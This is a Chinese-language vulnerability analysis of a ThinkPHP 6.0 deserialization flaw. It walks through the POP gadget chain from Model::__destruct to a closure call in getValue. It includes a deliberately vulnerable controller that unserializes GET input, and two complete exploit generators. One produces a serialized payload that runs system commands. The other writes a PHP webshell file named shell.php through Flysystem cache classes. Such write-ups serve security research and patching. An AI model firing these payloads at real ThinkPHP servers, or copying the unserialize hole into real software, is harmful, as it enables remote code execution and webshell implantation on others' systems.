环境搭建

安装tp6.0

composer create-project --prefer-dist topthink/think=6.0.x-dev tp6.0
cd tp6.0
php think run

在index控制器中写入

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $a = unserialize($_GET['a']);
        var_dump($a);
    }
}

漏洞分析

全局搜索__destruct魔术方法,在\vendor\topthink\think-orm\src\Model.php

public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}

$this->lazySave可控,为true的时候,执行save方法,跟进save方法

这里要满足两个if语句,$this->isEmpty()为false,$this->trigger要不为false,跟进isEmpty方法

public function isEmpty(): bool
{
    return empty($this->data);
}

$this->data可控,当存在的时候返回false,继续跟进trigger方法

$this->withEvent可控,当为false时,进入teturn语句,满足if语句,继续看下一行代码

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

$this->exists可控,为true时,跟进updateData方法

这里要执行到checkAllowFields方法,需要经过2个if语句,第一个if要满足$this->trigger不为false

if (false === $this->trigger('BeforeUpdate')) {
    return false;
}

第二个if要满足$data存在,跟进下getChangedData方法

这里满足$this->force存在,$this->data也可控,即2个if语句也绕过了,就可以继续跟进checkAllowFields方法

这里发现$this->table和$this->suffix进行连接操作,即为字符串,可以触发__toString方法,这里就可以利用ThinkPHP5.2.x那条pop链来构造rce,全局进行搜索__toString方法,跟到\vendor\topthink\think-orm\src\model\concern\Conversion.php文件

public function __toString()
{
    return $this->toJson();
}

跟进toJson->toArray方法

这里需要执行到getAttr方法,需要满足其中一个$data的key和$this->visible的key相同,既可以触发getAttr方法

public function getAttr(string $name) // key = name
{
    try {
        $relation = false;
        $value    = $this->getData($name); // whoami
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation); // fanxing  whoami
}

跟进getData方法

这里$fieldName的键要存在于$this->data数组中,而$fieldName时通过getRealFieldName获取的

protected function getRealFieldName(string $name): string
{
    return $this->strict ? $name : Str::snake($name);
}

满足$this->strict为true就返回传递进来的值。最后又回到getAttr方法中

return $this->getValue($name, $value, $relation);

经过上面的分析,这里满足$name和$value可控,跟进getValue方法

漏洞触发点在圈起的地方,这里value可控,只需要满足$closure可控就可以rce,看上行代码,$this->withAttr是可控的,$fieldName是经过getRealFieldName方法获得的,也是可控的,最后,整个pop链就分析完了。

pop链流程

这里利用下Mochazz的pop链分析图片

EXP编写

<?php
namespace think\model\concern;
trait Conversion{

}

trait Attribute{
    private $withAttr = ['fanxing' => 'system'];
    private $data = ['fanxing'=>'dir'];
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave;
    private $exists;
    protected $field = [];
    protected $schema = [];
    protected $table;
    protected $suffix;
    protected $visible = [];
    public function __construct($data){
        $this->lazySave = true;
        $this->exists = true;
        $this->table = '123';
        $this->suffix = $data;
        $this->visible = ['fanxing' => '111'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
    public function __construct($data){
        parent::__construct($data);
    }
}

$a = new Pivot(null);
echo urlencode(serialize(new Pivot($a)));
?>

tp6.0反序列还有其他链,复制下Hed9eh0g这条链写入文件的poc

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $cache = ["shell"=>"<?php phpinfo();?>"];
    }
}

namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class Adapter extends AbstractCache
    {
        protected $file;
        protected $adapter;

        public function __construct($adapter="")
        {
            $this->file = "shell.php";
            $this->adapter = $adapter;
        }
    }
}

namespace League\Flysystem\Adapter{
    class Local 
    {
        protected $writeFlags = 0;
        //对应file_put_contents的第三个参数
    }
}

namespace{
    $local = new League\Flysystem\Adapter\Local();
    $cache = new League\Flysystem\Cached\Storage\Adapter($local);
    echo urlencode(serialize($cache));
}

 ?>

参考文章

1.https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP6/ThinkPHP6.X反序列化利用链.md

2.https://zhzhdoai.github.io/2019/10/02/ThinkPHP-5-2反序列化/

3.https://zhzhdoai.github.io/2019/10/02/ThinkPHP-6-0-x反序列化/